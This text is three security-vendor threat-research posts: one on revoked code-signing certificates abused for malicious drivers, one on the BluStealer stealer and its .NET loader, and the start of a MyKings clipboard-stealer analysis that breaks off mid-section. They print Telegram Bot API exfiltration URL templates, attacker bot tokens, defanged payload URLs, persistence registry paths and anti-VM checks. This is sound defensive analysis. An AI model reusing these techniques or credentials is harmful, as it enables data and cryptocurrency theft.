The Shanghai Yulian Software certificate is the most widespread compared to others. Avast captured this certificate in 10,500 cases in the last eight years. Moreover, the prevalence of samples signed with this certificate is on the rise, although the certificate was revoked by its issuer in 2011. In addition, the occurrence peak was in 2017 and 2020. We assume a linear increase of the incidence and a prediction for 2021 is based on the first months of 2021. And therefore, the prediction for 2021 indicates that this revoked certificate will also dominate in 2021; see the trend in Figure 8. We have no record of what caused the significant decline in 2018 and 2019.

The previous certificates dominate only in Asia, but the Shanghai Yulian Software certificate prevails in Asia and Europe, as Figure 9 illustrates. The dominant countries are Taiwan and Russia. China and Thailand are on a close hinge; see Table 2 for detailed country distribution, several countries selected.

Year / Country	TW	RU	CN	TH	UA	BR	EG	HK	IN	CZ
2016	6		18			2
2017	925	28	57			4				1
2018	265	31	79	4	3	26	4	1		2
2019	180	54	56	10	9	98	162	5	45	1
2020	131	1355	431	278	232	112	17	168	86	24
Total	1507	1468	641	292	244	242	183	174	131	28

As in previous cases, the malware authors have been using Shanghai Yulian Software certificates to sign Windows drivers in 75 % of hits. Another 16 % has been used for EXE and DLL executable; see Figure 10 for detailed distribution.

4.3.1 Analysis of Top 10 Captured Files

We summarize the most frequent files in this subchapter. Table 3 shows the occurrence of the top 10 executables that are related to user applications. We do not focus on DirtyMoe drivers because this topic is recorded at DirtyMoe: Rootkit Driver.

Hit File Name	Number of Hits	Hit File Name	Number of Countries
WFP_Drive.sys	1056	Denuvo64.sys	81
LoginDrvS.sys	1046	WsAP-Filmora.dll	73
Denuvo64.sys	718	SlipDrv7.sys	20
WsAP-Filmora.dll	703	uTorrent.exe	47
uTorrent.exe	417	RTDriver.sys	41
SlipDrv7.sys	323	SlipDrv10.sys	42
LoginNpDriveX64.sys	271	SbieDrv.sys	22
RTDriver.sys	251	SlipDrv81.sys	16
SlipDrv10.sys	238	ONETAP V4.EXE	16
SbieDrv.sys	189	ECDM.sys	13

We have identified the five most executables signed with Shanghai Yulian Software certificate. The malware authors target popular and commonly used user applications such as video editors, communication applications, and video games.

1) WFP_Drive.sys

The WFP driver was hit in a folder of App-V (Application Virtualization) in C:\ProgramData. The driver can filter network traffic similar to a firewall [6]. So, malware can block and monitor arbitrary connections, including transferred data. The malware does not need special rights to write into the ProgramData folder. The driver and App-V’s file names are not suspicious at first glance since App-V uses Hyper-V Virtual Switch based on the WFP platform [7].

Naturally, the driver has to be loaded with a process with administrator permission. Subsequently, the process must apply for a specific privilege called SeLoadDriverPrivilege (load and unload device drivers) to successful driver loading. The process requests the privilege via API call EnablePriviliges that can be monitored with AVs. Unfortunately, Windows loads drivers with revoked certificates, so the whole security mechanism is inherently flawed.

2) LoginDrvS.sys

Further, the LoginDrvS driver uses a similar principle as the WFP driver. The malware camouflages its driver in a commonly used application folder. It uses the LineageLogin application folder that is used as a launcher for various applications, predominantly video games. LineageLogin is implemented in Pascal [8]. The LineageLogin itself contains a suspicious embedded DLL. However, it is out of this topic. Both drivers (WFP_Drive.sys and LoginDrvS.sys) are presumably from the same malware author as their PDB paths indicate:

• f:\projects\c++\win7pgkill\amd64\LoginDrvS.pdb (10 unique samples)
• f:\projects\c++\wfp\objfre_win7_amd64\amd64\WFP_Drive.pdb (8 unique samples)

Similar behavior is described in Trojan.MulDrop16.18994, see [9].

3) Denuvo64.sys

Denuvo is an anti-piracy protection technique used by hundreds of programming companies around the world [10]. This solution is a legal rootkit that can also detect cheat mode and other unwanted activity. Therefore, Denuvo has to use a kernel driver.

The easy way to deploy a malicious driver is via cracks that users still download abundantly. The malware author packs up the malicious driver into the cracks, and users prepare a rootkit backdoor within each crack run. The malicious driver performs the function that users expect, e.g., anti-anti cheating or patching of executable, but it also services a backdoor very often.

We have revealed 8 unique samples of Denuvo malicious drivers within 1046 cases. The most occurrence is in Russia; see Figure 11. The most hits are related to video game cracks as follows: Constructor, Injustice 2, Prey, Puyo Puyo Tetris, TEKKEN 7 – Ultimate Edition, Total War – Warhammer 2, Total.War – Saga Thrones of Britannia.

4) WsAP-Filmora.dll

Wondershare Filmora is a simple video editor which has free and paid versions [11]. So, there is a place for cracks and malware activities. All hit paths point to crack activity where users tried to bypass the trial version of the Filmora editor. No PDB path has been captured; therefore, we cannot determine the malware authors given other samples signed with the same certificates. WsAP-Filmora.dll is widespread throughout the world (73 countries); see the detailed country distribution in Figure 12.

5) μTorrent.exe

μTorrent is a freeware P2P client for the BitTorrent network [12]. Avast has detected 417 hits of malicious μTorrent applications. The malicious application is based on the original μTorrent client with the same functionality, GUI, and icon. If a user downloads and runs this updated μTorrent client, the application’s behavior and design are not suspicious for the user.

The original application is signed with Bit Torrent, Inc. certificate, and the malicious version was signed with Shanghai Yulian Software certificate. Everyday users, who want to check the digital signature, see that the executable is signed. However, information about the signature’s suspiciousness is located in details that are not visible at first glance, Figure 13.

The malicious signature contains Chinese characters, although the sample’s prevalence points to Russia. Moreover, China has no hits. Figure 14 illustrates a detailed country distribution of the malicious μTorrent application.

4.3.2 YDArk Rootkit

We have found one Github repository which contains a YDArk tool that monitors system activities via a driver signed with the compromised certificate. The last sign was done in May 2021; hence it seems that the stolen certificate is still in use despite the fact that it was revoked 10 years ago. The repository is managed by two users, both located in China. The YDArk driver has been signed with the compromise certificates by ScriptBoy2077, who admitted that the certificate is compromised and expired by this note:

“I have signed the .sys file with a compromised, expired certificate, may it is helpful to those my friends who don’t know how to load an unsigned driver.”

The private key of the compromised certificate is not available on the clearnet. We looked for by the certificate name, serial number, hashes, etc.; hence we can assume that the certificate and private key can be located in the darknet and shared within a narrow group of malware authors. Consequently, the relationship between YDArk, more precisely ScriptBoy2077, and the DirtyMoe driver is compelling. Additionally, C&C DirtyMoe servers are also located in most cases in China, as we described in DirtyMoe: Introduction and General Overview.

5. Discussion

The most interesting finding of this research was that Windows allows loading drivers signed with revoked certificates even if an appropriate CRL is locally stored. Windows successfully verifies the signature revocation offline for user-mode applications via UAC. However, if Windows loads drivers with the revoked certificate into the kernel despite the up-to-date CRL, it is evident that the Windows kernel avoids the CRL check. Therefore, it is likely that the missing implementation of CRL verification is omitted due to the performance at boot time. It is a hypothesis, so further research will need to be undertaken to fully understand the process and implementation of driver loading and CRL verification.

Another important finding was that the online CRL is not queried by UAC in digital signatures verification for user-mode applications, which require higher permission. It is somewhat surprising that UAC blocks the applications only if the user manually checks the chain of trust before the application is run; in other words, if the current CRL is downloaded and is up-to-date before the UAC run. So, the evidence suggests that neither UAC does not fully protect users against malicious software that has been signed with revoked certificates. Consequently, the users should be careful when UAC appears. 

The DirtyMoe’s driver has been signing with three certificates that we analyzed in this research. Evidence suggests that DirtyMoe’s certificates are used for the code signing of other potentially malicious software. It is hard to determine how many malware authors use the revoked certificates precisely. We classified a few clusters of unique SHA samples that point to the same malware authors via PDB paths. However, many other groups cannot be unequivocally identified. There is a probability that the malware authors who use the revoked certificates may be a narrow group; however, further work which compares the code similarities of signed software is required to confirm this assumption. This hypothesis is supported by the fact that samples are dominantly concentrated in Taiwan and Russia in such a long time horizon. Moreover, leaked private keys are often available on the internet, but the revoked certificates have no record. It could mean that the private keys are passed on within a particular malware author community.

According to these data, we can infer that the Shanghai Yulian Software Technology certificate is the most common use in the wild and is on the rise, although the certificate was revoked 10 years ago. Geological data demonstrates that the malware authors target the Asian and European continents primarily, but the reason for this is not apparent; therefore, questions still remain. Regarding types of misused software, the analysis of samples signed with the Shanghai Yulian Software certificate confirmed that most samples are rootkits deployed together with cracked or patched software. Other types of misused software are popular user applications, such as video games, communication software, video editors, etc. One of the issues is that the users observe the correct behavior of suspicious software, but malicious mechanisms or backdoors are also deployed.

In summary, the DirtyMoe’s certificates are still used for code signing of other software than the DirtyMoe malware, although the certificates were revoked many years ago.

6. Conclusion

The malware analysis of the DirtyMoe driver (rootkit) discovered three certificates used for codesign of suspicious executables. The certificates have been revoked in the middle of their validity period. However, the certificates are still widely used for codesign of other malicious software.

The revoked certificates are principally misused for the code signature of malicious Windows drivers (rootkits) because the 64bit Windows system has begun requiring the driver signatures for greater security. On the other hand, Windows does not implement the verification of signatures via CRL. In addition, the malware authors abuse the certificates to sign popular software to increase credibility, whereas the software is patched with malicious payloads. Another essential point is that UAC verifies the signatures against the local CRL, which may not be up-to-date. UAC does not download the current version of CRL when users want to run software with the highest permission. Consequently, it can be a serious weakness.

One source of uncertainty is the origin of the malware authors who misused the revoked certificates. Everything points to a narrow group of the author primarily located in China. Further investigation of signed samples are needed to confirm that the samples contain payloads with similar functionality or code similarities.

Overall, these results and statistics suggest that Windows users are still careless when running programs downloaded from strange sources, including various cracks and keygens. Moreover, Windows has a weak and ineffective mechanism that would strongly warn users that they try to run software with revoked certificates, although there are techniques to verify the validity of digital signatures.

References

[1] Driver Signing
[2] Cross-Certificates for Kernel Mode Code Signing
[3] How Windows Handles Running Files Whose Publisher’s Certificate(s) Have Been Revoked
[4] Beijing Founder Apabi Technology Limited
[5] Shanghai Yulian Software Technology Co., Ltd.
[6] WFP network monitoring driver (firewall)
[7] Hyper-V Virtual Switch
[8] Lineage Login
[9] Dr. Web: Trojan.MulDrop16.18994
[10] Denuvo
[11] Filmora
[12] μTorrent

The post DirtyMoe: Code Signing Certificate appeared first on Avast Threat Labs.

Overview

BluStealer is is a crypto stealer, keylogger, and document uploader written in Visual Basic that loads C#.NET hack tools to steal credentials. The family was first mentioned by @James_inthe_box in May and referred to as a310logger. In fact, a310logger is just one of the namespaces within the .NET component that appeared in the string artifacts. Around July, Fortinet referred to the same family as a “fresh malware”, and recently it is mentioned again as BluStealer by GoSecure. In this blog, we decide to go with the BluStealer naming while providing a fuller view of the family along with details of its inner workings.

BluStealer is primarily spread through malspam campaigns. A large number of the samples we found come from a particular campaign that is recognizable through the use of a unique .NET loader. The analysis of this loader is provided in this section. Below are two BluStealer malspam samples. The first is a fake DHL invoice in English. The second is a fake General de Perfiles message, a Mexican metal company, in Spanish. Both samples contain .iso attachments and download URLs that the messages claim is a form that the lure claims the recipient needs to open and fill out to resolve a problem. The attachments contain the malware executables packed with the mentioned .NET Loader.

In the graph below, we can see a significant spike in BluStealer activity recently around September 10-11, 2021.

BluStealer Analysis

As mentioned, BluStealer consists of a core written in Visual Basic and the C# .NET inner payload(s). Both components vary greatly among the samples indicating the malware builder’s ability to customize each component separately. The VB core reuses a large amount of code from a 2004 SpyEx project, hence the inclusion of “SpyEx” strings in early samples from May. However, the malware authors have added the capabilities to steal crypto wallet data, swap crypto addresses present in the clipboard, find and upload document files, exfiltrate data through SMTP and the Telegram Bot API, as well as anti-analysis/anti-VM tactics. On the other hand, the .NET component is primarily a credential stealer that is patched together from a combination of open-source C# hack tools such as ThunderFox, ChromeRecovery, StormKitty, and firepwd. Note that not all the mentioned features are available in a single sample.

Obfuscation

Each string is encrypted with a unique key. Depending on the sample, the encryption algorithm can be the xor cipher, RC4, or the WinZip AES implementation from this repo. Below is a Python demonstration of the custom AES algorithm:

 A utility to help decrypt all strings in IDA is available here.

Anti-VM Tactics

BluStealer checks the following conditions:

If property Model of  Win32_ComputerSystem WMI class contains:

VIRTUA (without L), VMware Virtual Platform, VirtualBox, microsoft corporation, vmware, VMware, vmw

If property SerialNumber of Win32_BaseBoard WMI class contains  0 or None

If the following files exist:

• C:\\Windows\\System32\\drivers\\vmhgfs.sys

• C:\\Windows\\System32\\drivers\\vmmemctl.sys

• C:\\Windows\\System32\\drivers\\vmmouse.sys

• C:\\Windows\\System32\\drivers\\vmrawdsk.sys

• C:\\Windows\\System32\\drivers\\VBoxGuest\.sys

• C:\\Windows\\System32\\drivers\\VBoxMouse.sys

• C:\\Windows\\System32\\drivers\\VBoxSF.sys

• C:\\Windows\\System32\\drivers\\VBoxVideo.sys

If any of these conditions are satisfied, BluStealer will stop executing.

.NET Component

The BluStealer retrieves the .NET payload(s) from the resource section and decrypts it with the above WinZip AES algorithm using a hardcoded key. Then it executes one of the following command-line utilities to launch the .NET executable(s):

• C:\Windows\Microsoft.NET\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe

• C:\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe

The .NET component does not communicate with the VB core in any way. It steals the credentials of popular browsers and applications then writes them to disk at a chosen location with a designated filename (i.e credentials.txt). The VB core will look for this drop and exfiltrate it later on. This mechanic is better explained in the next section.

The .NET component is just a copypasta of open-source C# projects listed below. You can find more information on their respective Github pages:

• ThunderFox: github.com/V1V1/SharpScribbles
• ChromeRecovery: github.com/Elysian01/Chrome-Recovery
• StormKitty: github.com/swagkarna/StormKitty
• Firepwd:github.com/lclevy/firepwd 

Information Stealer

Both the VB core and the .NET component write stolen information to the %appdata%\Microsoft\Templates folder. Each type of stolen data is written to a different file with predefined filenames. The VB core sets up different timers to watch over each file and keeps track of their file sizes. When the file size increases, the VB core will send it to the attacker.

Handler	Arbitrary filename	Stolen Information	Arbitrary Timers(s)
.NET component	credentials.txt	Credentials stored in popular web browsers and applications, and system profiling info	80
.NET component	Cookies.zip	Cookies stored in Firefox and Chrome browsers	60
VB Core	CryptoWallets.zip	Database files that often contain private keys of the following crypto wallet:  ArmoryDB, Bytecoin, Jaxx Liberty, Exodus, Electrum, Atomic, Guarda, Coinomi	50
VB Core	FilesGrabber\\Files.zip	Document files (.txt, .rtf, .xlxs, .doc(x), .pdf, .utc) less than 2.5MB	30
VB Core	Others	Screenshot, Keylogger, Clipboard data	1 or None

BluStealer VB core also detects the crypto addresses copied to the clipboard and replaces them with the attacker’s predefined ones. Collectively it can support the following addresses: Bitcoin, bitcoincash, Ethereum, Monero, Litecoin.

Data Exfiltration

BluStealer exfiltrates stolen data via SMTP (reusing SpyEx’s code) and Telegram Bot, hence the lack of server-side code. The Telegram token and chat_id are hardcoded to execute the 2 commands: sendDocument and sendMessage as shown below

• https://api.telegram.org/bot[BOT TOKEN]/sendMessage?chat_id=[MY_CHANNEL_ID]&text=[MY_MESSAGE_TEXT]
• https://api.telegram.org/bot[BOT TOKEN]/sendDocument?chat_id=[MY_CHANNEL_ID]&caption=[MY_CAPTION]

The SMTP traffic is constructed using Microsoft MimeOLE specifications

.NET Loader Walkthrough

This .NET Loader has been used by families such as Formbook, Agent Tesla, Snake Keylogger, Oski Stealer, RedLine, as well as BluStealer.

Demo sample: 19595e11dbccfbfeb9560e36e623f35ab78bb7b3ce412e14b9e52d316fbc7acc

First Stage

The first stage of the .NET loader has a generic obfuscated look and isn’t matched by de4dot to any known .NET obfuscator. However, one recognizable characteristic is the inclusion of a single encrypted module in the resource:

By looking for this module’s reference within the code, we can quickly locate where it is decrypted and loaded into memory as shown below

Prior to loading the next stage, the loader may check for internet connectivity or set up persistence through the Startup folder and registry run keys. A few examples are:

• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chrome\chrom.exe
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\chrom

• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\paint\paint.exe
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\paint

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
• C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\note\notepad.exe

In the samples we looked at closely, the module is decrypted using RC4, with a hardcoded key. The key is obfuscated by a string provider function. The best way to obtain the payload is to break at the tail jump that resides within the same namespace where the encrypted module is referenced. In most cases, it usually is the call to the external function Data(). Below are examples from the different samples:

Second stage

The second stage has the function calls and strings obfuscated, so the “Analyze” feature may not be as helpful. However, there are two resource files that look out-of-place enough for us to pivot off. Their getter functions can be easily found in the Resources class of the Properties namespace. Setting the breakpoint on the Ehiuuvbfrnprkuyuxqv getter function 0x17000003 leads us to a function where it is gzip decompressed revealing a PE file.

On the other hand, the breakpoint on the Ltvddtjmqumxcwmqlzcos getter function 0x17000004 leaves us in the middle of the Data() function, where all the function calls are made by passing a field into CompareComparator function that will invoke it like a method.

In order to understand what is going on, we have to know what functions these fields represent. From the experience working with MassLogger in the past, the field to method map file is likely embedded in the resource section, which in this case, “Dic.Attr” naming is a strong tell.

Note that it is important to find out where these fields are mapped to, because “Step into” may not get us directly to the designated functions. Some of the mapped functions are modified during the field-method binding process. So when the corresponding fields are invoked, the DynamicResolver.GetCodeInfo() will be called to build the target function at run-time. Even though the function modification only consists of replacing some opcodes with equivalent ones while keeping the content the same, it is sufficient enough to obfuscate function calls during dynamic analysis.

The search of the “Dic.Attr” string leads us to the function where the mapping occurs. The dictionary value represents the method token that will be bound, and the key value is the corresponding field. As for the method tokens start with 0x4A, just replace them with 0x6 to get the correct methods. These are the chosen ones to be modified for obfuscation purposes.

With all the function calls revealed, we can understand what’s going on inside the Data() method. First, it loads a new assembly that is the decompressed Ehiuuvbfrnprkuyuxqv. Then, it tries to create an instance of an object named SmartAssembly.Queues.MapFactoryQueue. To end the mystery, a method called “RegisterSerializer” is invoked with the data of the other resource file as an argument. At this point, we can assume that the purpose of this function would be to decrypt the other resource file and execute it.

Heading to the newly loaded module (af43ec8096757291c50b8278631829c8aca13649d15f5c7d36b69274a76efdac), we can see the SmartAssembly watermark and all the obfuscation features labeled as shown below.

The unpacking process will not be much different from the previous layer but with the overhead of code virtualization. From static analysis, our RegisterSerializer may look empty but once the SmartAssembly.Queues class is instantiated the method will be loaded properly:

Lucky for us, the code looks fairly straightforward. The variable “res” holding the encrypted data and is passed to a function that RulesListener.IncludeState represents. Once again, the key still is to find the field token to method token map file which is likely to be located in the resource section. This time searching for the GetManifestResourceStream function will help us quickly get to the code section where the map is established:

RulesListener.IncludeState has token 0x04000220 which is mapped to function 0x60000A3. Inside this function, the decryption algorithm is revealed anticlimactically: reversal and decompression:

In fact, all the samples can be unpacked simply by decompressing the reversed resource file embedded in the second stage. Hopefully, even when this algorithm is changed, my lengthy walkthrough will remain useful at showing you how to defeat the obfuscation tricks.

Conclusion

In this article, we break down BluStealer functionalities and provide some utilities to deobfuscate and extract its IOCs. We also highlight its code reuse of multiple open-source projects. Despite still writing data to disk and without a proper C2 functionality, BluStealer is still a capable stealer. In the second half of the blog, we show how the BluStealer samples and other malware can be obtained from a unique .NET loader. With these insights, we hope that other analysts will have an easier time classifying and analyzing BluStealer.

IOCs:

The full list of IoCs is available at https://github.com/avast/ioc/tree/master/BluStealer

BluStealer

SHA-256

678e9028caccb74ee81779c5dd6627fb6f336b2833e9a99c4099898527b0d481
3151ddec325ffc6269e6704d04ef206d62bba338f50a4ea833740c4b6fe770ea
49da8145f85c63063230762826aa8d85d80399454339e47f788127dafc62ac22
7abe87a6b675d3601a4014ac6da84392442159a68992ce0b24e709d4a1d20690

Crypto Address List

Bitcoin:
1ARtkKzd18Z4QhvHVijrVFTgerYEoopjLP (1.67227860 BTC)
1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX (0.06755943 BTC)
1MEf31xHgNKqyB7HEeAbcU6BhofMdwLE3r
38atNsForzrDRhJoVAhyXsQLqWYfYgodd5
bc1qrjl4ksg5h7p70jjtypr8s6cjpngzd3kerfj9rt
bc1qjg3y4d4t6hwg6h22khknlxcstevjg2qkrxt6qu
1KfRWVcShzwE2Atp1njogAqH8qodsif3pi
3P6JnvWtubxbCxgPW7GAAj8u6CLV2h9MkY
13vZcoMYRcKrDRDYUyH9Cd4kCRMZVjFkyn

Bitcoincash:
qrej5ltx0sgk5c7aygdsvt2gh7fq04umvusxhxl7wq
qrzakt59udz893u2uuwtgrwrjj9dhtk0gc3m4m2sj5

Ethereum:
0xd070c48cd3bdeb8a6ca90310249aae90a7f26303 (0.10 ETH)
0x95d3763546235393B77aC188E5B08dD4Af68d89D
0xcfE71c720b7E99e555c0e98b725919B7a69f8Bb0

Monero.address:
46W5WHQG2B1Df9uKrkyuhoLNVtJouMfPR9wMkhrzRiEtD2PmdcXMvQt52jQVWKXUC45hwYRXhBYVjLRbpDu8CK2UN2xzenr
43Q4G9CdM3iNbkwhujAQJ7TedSLxYQ8hJJHYqsqns7qz696gkPgMvUvDcDfZJ7bMzcaQeoSF86eFE2fL9njU59dQRfPHFnv

Litecoint address:
LfADbqTZoQhCPBr39mqQpf9myUiUiFrDBG
LY5jmjdFnvgFjJET2wX5fVV6Gv89QdQRv3

Telegram Tokens:

1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs
1989667182:AAFx2Rti45m06IscLpGbHo8v4659Q8swfkQ

SMTP

[email protected] (smtp.1and1.com)
[email protected] (mail.starkgulf.com )
[email protected] (mail.bojtai.club)
[email protected] (smtp.ionos.es)
[email protected]
[email protected] (shepherd.myhostcpl.com)
[email protected] (mail.farm-finn.com)
[email protected] (mail.starkgulf.com)

.NET Loader SHA-256:

ae29f49fa80c1a4fb2876668aa38c8262dd213fa09bf56ee6c4caa5d52033ca1
35d443578b1eb0708d334d3e1250f68550a5db4d630f1813fed8e2fc58a2c6d0
097d0d1119fb73b1beb9738d7e82e1c73ab9c89a4d9b8aeed35976c76d4bad23
c783bdf31d6ee3782d05fde9e87f70e9f3a9b39bf1684504770ce02f29d5b7e1
42fe72df91aa852b257cc3227329eb5bf4fce5dabff34cd0093f1298e3b5454e
1c29ee414b011a411db774015a98a8970bf90c3475f91f7547a16a8946cd5a81
81bbcc887017cc47015421c38703c9c261e986c3fdcd7fef5ca4c01bcf997007
6956ea59b4a70d68cd05e6e740598e76e1205b3e300f65c5eba324bebb31d7e8
6322ebb240ba18119193412e0ed7b325af171ec9ad48f61ce532cc120418c8d5
9f2bfedb157a610b8e0b481697bb28123a5eabd2df64b814007298dffd5e65ac
e2dd1be91c6db4b52eab38b5409b39421613df0999176807d0a995c846465b38

The post BluStealer: from SpyEx to ThunderFox appeared first on Avast Threat Labs.

MyKings is a long-standing and relentless botnet which has been active from at least 2016. Since then it has spread and extended its infrastructure so much that it has even gained multiple names from multiple analysts around the world — MyKings, Smominru, and DarkCloud, for example. Its vast infrastructure consists of multiple parts and modules, including bootkit, coin miners, droppers, clipboard stealers, and more.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute that amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity.

Our hunting for new samples brought us over 6,700 unique samples. Just since the beginning of 2020 (after the release of the Sophos whitepaper), we protected over 144,000 Avast users threatened by this clipboard stealer module. Most attacks happened in Russia, India, and Pakistan.

In this first part of our two-part blog series, we will peek into the already known clipboard stealer module of MyKings, focusing on its technical aspects, monetization, and spread. In addition, we’ll look into how the functionality of  the clipboard stealer enabled attackers to carry out frauds with Steam trade offers and Yandex Disk links, leading to more financial gain and infection spread. 

Avast has been tracking the MyKings’ clipboard stealer since the beginning of 2018, but we can’t rule out an even earlier creation date. Basic functionality of this module was already covered by Gabor Szappanos from SophosLabs, but we are able to contribute with new technical details and IoCs.

1. Monetary gain

When Sophos released their blog at the end of 2019, they stated that the coin addresses are “not used or never received more than a few dollars”. After tracing newer samples, we were able to extract new wallet addresses and extend the list of 49 coin addresses in Sophos IoCs to over 1300.

Because of the amount of new data, we decided to share our script, which can query the amount of cryptocurrency transferred through a crypto account. Because not all blockchains have this possibility, we decided to find out how much money attackers gained through Bitcoin, Ethereum, and Dogecoin accounts. After inspecting these addresses we have confirmed that more than $24,700,000 worth in cryptocurrencies was transferred through these addresses. We can safely assume that this number is in reality higher, because the amount consists of money gained in only three cryptocurrencies from more than 20 in total used in malware. It is also important to note here that not all of the money present in the cryptowallets necessarily comes from the MyKings campaign alone.

After taking a closer look at the transactions and inspecting the contents of installers that dropped the clipboard stealer, we believe that part of this money was gained through crypto miners. The clipboard stealer module and the crypto miners were seen using the same wallet addresses.

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency
Bitcoin	6,626,146.252 [$]	132.212 [BTC]
Ethereum	7,429,429.508 [$]	2,158.402 [ETH]
Dogecoin	10,652,144.070 [$]	44,618,283.601 [DOGE]

2. Attribution

Even though the clipboard stealer and all related files are attributed in previous blog posts to MyKings, we wanted to confirm those claims, because of lack of definitive proof. Some articles (e.g. by Sophos) are saying that some scripts in the attribution chain, like c3.bat may kill other botnets or earlier versions of itself, which raises doubts. Other articles (e.g by Guardicore) are even working with the theory of a rival copycat botnet deleting MyKings.  MyKings is a large botnet with many modules and before attributing all the monetary gains to this clipboard stealer, we wanted to be able to prove that the clipboard stealer is really a part of MyKings.

We started our attribution with the sample d2e8b77fe0ddb96c4d52a34f9498dc7dd885c7b11b8745b78f3f6beaeec8e191. This sample is a NSIS installer which drops NsCpuCNMiner in both 32 and 64 bit versions.

In the NSIS header was possible to see this Monero address used for miner configuration:
41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2

Apart from the NsCpuCNMiner, the sample dropped an additional file with a name java12.exe into C:\Users\<username>\AppData\Local\Temp\java.exe. This file has SHA256 0390b466a8af2405dc269fd58fe2e3f34c3219464dcf3d06c64d01e07821cd7a and according to our data, was downloaded from http://zcop[.]ru/java12.dat by the installer. This file could be also downloaded from http://kriso[.]ru/java12.dat (both addresses contained multiple samples with different configurations at different times). This file contains a clipboard stealer. Also, the same Monero address can be found in both the clipboard stealer and the NSIS configuration.

After researching the Monero address, we found in blogpost written by Tencent Yujian Threat Intelligence Center, that sample b9c7cb2ebf3c5ffba6fdeea0379ced4af04a7c9a0760f76c5f075ded295c5ce2 uses the same address. This sample is another NSIS installer which drops the NsCpuCNMiner and the clipboard stealer. This NSIS installer was usually dropped under the name king.exe or king.dat and could be downloaded from http://kr1s[.]ru/king.dat.

In the next step, we looked into the address http://kr1s[.]ru/king.dat and we found that at different times, this address contained the file f778ca041cd10a67c9110fb20c5b85749d01af82533cc0429a7eb9badc45345c usually dropped into C:\Users\<username>\AppData\Local\Temp\king.exe or C:\Windows\system32\a.exe. This file is again a NSIS installer that downloads clipboard stealer, but this time it contains URLs http://js[.]mys2016.info:280/helloworld.msi and http://js[.]mys2016.info:280/v.sct.

URL http://js[.]mys2016.info:280/v.sct is interesting, because this URL is also contacted by the sample named my1.html or  my1.bat or my1.bat with SHA256 5ae5ff335c88a96527426b9d00767052a3cba3c3493a1fa37286d4719851c45c.

This file is a batch script which is almost identical to the script with the same name my1.bat and SHA256 2aaf1abeaeeed79e53cb438c3bf6795c7c79e256e1f35e2a903c6e92cee05010, as shown further below.

Both scripts contain the same strings as C:\Progra~1\shengda, C:\Progra~1\kugou2010. 

There are only two important differences to notice:

1. At line 12, one script uses address http://js[.]mys2016.info:280/v.sct and the other uses address http://js[.]1226bye.xyz:280/v.sct.
2. Line 25 in the second script has commands that the first script doesn’t have. You can notice strings like fuckyoumm3, a very well known indicator of MyKings.

Furthermore, it is possible to look at the file c3.bat with SHA256 0cdef01e74acd5bbfb496f4fad5357266dabb2c457bc3dc267ffad6457847ad4. This file is another batch script which communicates with the address http://js[.]1226bye.xyz:280/v.sct and contains many MyKings specific strings like fuckayoumm3 or task name Mysa1.

3. Technical analysis

Our technical analysis of the clipboard stealer focuses primarily on new findings.

3.1 Goal of the malware

The main purpose of the clipboard stealer is rather simple: checking the clipboard for specific content and manipulating it in case it matches predefined regular expressions. This malware counts on the fact that users do not expect to paste values different from the one that they copied. It is easy to notice when someone forgets to copy and paste something completely different (e.g. a text instead of an account number), but it takes special attention to notice the change of a long string of random numbers and letters to a very similar looking string, such as cryptowallet addresses. This process of swapping is done using  functions OpenClipboard, EmptyClipboard, SetClipboardData and CloseClipboard. Even though this functionality is quite simple, it is concerning that attackers could have gained over $24,700,000 using such a simple method.

As can be seen on image below, most of the regular expressions used for checking the clipboard content will match wallet formats of one specific cryptocurrency, but there are also regular expressions to match Yandex file storage, links to the Russian social network VKontakte, or Steam trade offer links.

We were able to find many comments from people at BlockChain Explorer services believing that they sent money to the incriminated accounts by a mistake and asking or demanding that their money be sent back. In response to this malicious activity, we want to increase awareness about frauds like this and we highly recommend people always double-check transaction details before sending  money.

3.2 Defense & features

Some other blog posts describe a few anti-debugging checks and defense against system monitoring tools, but we can’t confirm any new development.

In order to avoid multiple executions, the clipboard stealer checks for mutex on execution. The mutex name is created dynamically by checking on which version of OS it is launched on. This procedure is performed using functions RegOpenKeyExA which opens the registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion. Afterwards, a function RegQueryValueExA is called which gets the value of ProductName. The value obtained is then concatenated with the constant suffix 02. Using this method, you can get many more possibilities of existing mutexes. In the list below, you can find a few examples of mutex names:

• Windows 7 Professional02
• Windows 7 Ultimate02
• Windows 10 Enterprise02
• Windows 10 Pro02
• Windows XP02
• …

In a different version of the malware, an alternative value is used from registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion  and value of BuildGUID. This value is then also appended with suffix 02 to create the final mutex name.

Another mechanism serving as a defense of this malware is trying to hide the addresses of cryptowallets belonging to attackers. When the malware matches any of the regular expressions in the clipboard, it substitutes the clipboard content with a value that is hardcoded inside the malware sample. For protection against quick analysis and against static extraction with regular expressions, the substitute values are encrypted. Encryption used is a very simple ROT cipher, where the key is set to -1.

For a quick and static extraction of wallets from samples, it’s possible to decrypt the whole sample (which destroys all data except wanted values) and then use regular expressions to extract the hidden substitute values. The advantage of this approach is that the malware authors already provided us with all necessary regular expressions; thus the extraction process of the static information can be easily automated.

3.3 Newly uncovered functionality

With a larger dataset of samples, we were also able to reveal the intentions of regular expressions checking for URLs.

3.3.1 Steam trade frauds

One of the regular expressions hardcoded in samples looks like this:
